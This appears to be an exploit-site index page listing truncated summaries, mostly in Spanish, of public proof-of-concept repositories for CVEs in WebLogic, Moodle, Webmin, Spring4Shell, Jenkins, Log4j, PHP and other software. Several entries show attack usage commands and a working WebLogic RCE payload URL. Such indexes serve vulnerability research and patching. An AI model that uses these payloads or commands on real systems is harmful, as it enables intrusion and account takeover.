CVE-2022-44136-poc

CVE-2022-44136-poc Zenar CMS 9.3 sufre una vulnerabilidad de carga de archivos sin restricciones​​ en su módulo de gestión de archivos, lo que permite a atacantes autenticados con privilegios mínimos cargar archivos arbitrarios, incluidos scripts PHP maliciosos, en el servidor web. Debido a una...

CVE-2025-8110

RCE - CVE-2025-59528 Exploit para Gogs = 0.13.3 root@kitploit: $ python3 CVE-2025-8110.py -h usage: CVE-2025-8110.py -h -u URL -lh HOST -lp PORT -user USERNAME -pass PASSWORD -x CVE-2025-8110 Gogs Exploit options: -h, --help show this help message and exit -u, --url URL Gogs base URL e.g.,...

CVE-2025-55182-React2Shell-CVSS-10.0-

Affected Software: React Server Components versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 Vulnerability Type: Pre-authentication Remote Code Execution via insecure deserialization. Description: A flaw in the React Server Flight protocol allows unauthenticated attackers to send specially crafted serializ...

-CVE-2017-7494-Samba-Exploit-POC

-CVE-2017-7494-Samba-Exploit-POC Según investigadores de Rapid7, más de 110.000 dispositivos aparecen en Internet ejecutando versiones estables de Samba, mientras que 92.500 parecen ejecutar versiones inestables de Samba, para las cuales no hay solución. Las versiones más recientes de Samba,...

how-to-check-patch-secure-log4j-CVE-2021-44228

Cómo comprobar log4j CVE-2021-44228 ¿Qué es log4j ? LOG4J es un software Apache de código abierto basado en Java utilizado para servicios de registro. ¿Qué es la vulnerabilidad log4j CVE-2021-44228 ? La vulnerabilidad Log4j permite la ejecución remota de código con solo escribir una cadena...

cve-2020-14882

CVE-2020-14882 Versiones afectadas: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 POC: root@kitploit: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?nfpb=false&pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession"java.lang.Runtime.getRuntime.exec'calc.exe';";...

CVE-2021-36394

CVE-2021-36394 तालिका अपडेट करें या एडमिन पासवर्ड बदलें: कस्टम कोड $newpassword = "Accounttakedover123"; फिर निष्पादित करें: $ CVE2021-36394.php http://victim/pathtomoodle फ़ंक्शन निष्पादित करें कस्टम कोड $function = "header"; $param = "Hacked: by0d0ff9"; फिर निष्पादित करें: $ CVE2021-36394RCE.ph...

CVE-2023-44767_RiteCMS-File-Upload--XSS---Filemanager

RiteCMS 3.0 Subida de Archivos - XSS Autor: Sergio Descripción: La vulnerabilidad de subida de archivos en RiteCMS 3.0 permite a un atacante local subir un archivo svg con contenido XSS. Vectores de ataque: AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L Prueba de concepto: Creamos un archivo svg con el...

CVE-2019-15107

CVE-2019-15107 webmin o minisever RCE Uso del script: Probado en v1.890, pero también debería funcionar en otras versiones de webmin en las que esté instalado este backdoor. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2024-8353

Esta publicación es un artículo de investigación publicado por EQSTLab. Gracias acuokon, quien descubrió esta vulnerabilidad. Introducción Análisis adicional de CVE-2024-5932 EQST Insight R&Tarchivo PDF. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 jenkins-cli Hemos visto una fuga de archivos / RCE de Jenkins CVE-2024-23897 explotada en la naturaleza y logramos reproducirla. Si tu Jenkins permite usuarios anónimos o registro de usuarios, actualízalo inmediatamente a la última versión. java -jar jenkins-cli.jar ...

CVE-2023-23397

CVE-2023-23397: Vulnerabilidad de ejecución remota de código en Microsoft Outlook CVE-2023-23397 es una vulnerabilidad de ejecución remota de código en Microsoft Outlook, un popular cliente de correo electrónico utilizado por millones de usuarios en todo el mundo. Esta vulnerabilidad fue...

CVE-2023-4220_Chamilo_RCE

CVE-2023-4220 Exploit en Python para la vulnerabilidad de carga de archivos sin restricciones en Chamilo - CVE-2023-4220 El código contenido en este repositorio tiene fines exclusivamente educativos. Descripción: La carga de archivos sin restricciones en la funcionalidad de carga de archivos...

cve-2021-44228

CVE-2021-44228 Este repositorio representa una simulación simplificada del infame problema CVE-2021-44228. Además de las propiedades del sistema y otras búsquedas en estructuras de diccionario, Apache Log4j también implementa la función de búsqueda JNDI por varias razones. El JNDI puede obtener...

ollydbg-binary-execution-visualizer

This repository does not have a README...

ollydbg-binary-execution-visualizer

Este repositorio no tiene un README...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift Vulnerability Details Vulnerability as seen in HackTheBox - SwagShop Stage 1 = exploit.py Gain administrator credentials to Magento CMS dashboard Stage 2 = postauth.py With credentials gained from exploit.py added to postauth.py run: root@kitploit: python3 postauth....

spring4shell-CVE-2022-22965

POC simple de Spring4Shell Verificar si el endpoint es vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Explotar endpoint vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Ejecutar comando en...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

CVE-2024-4577

CVE-2024-4577 Vulnerabilidad de inyección de argumentos en PHP INSTALACIÓN git clone https://github.com/gotr00t0day/CVE-2024-4577.git cd CVE-2024-4577 pip3 install -r requirements.txt USO root@kitploit: Escanear un objetivo python3 CVE-2024-4577.py -t https://160.153.61.66/ -c "" Escanear una lis...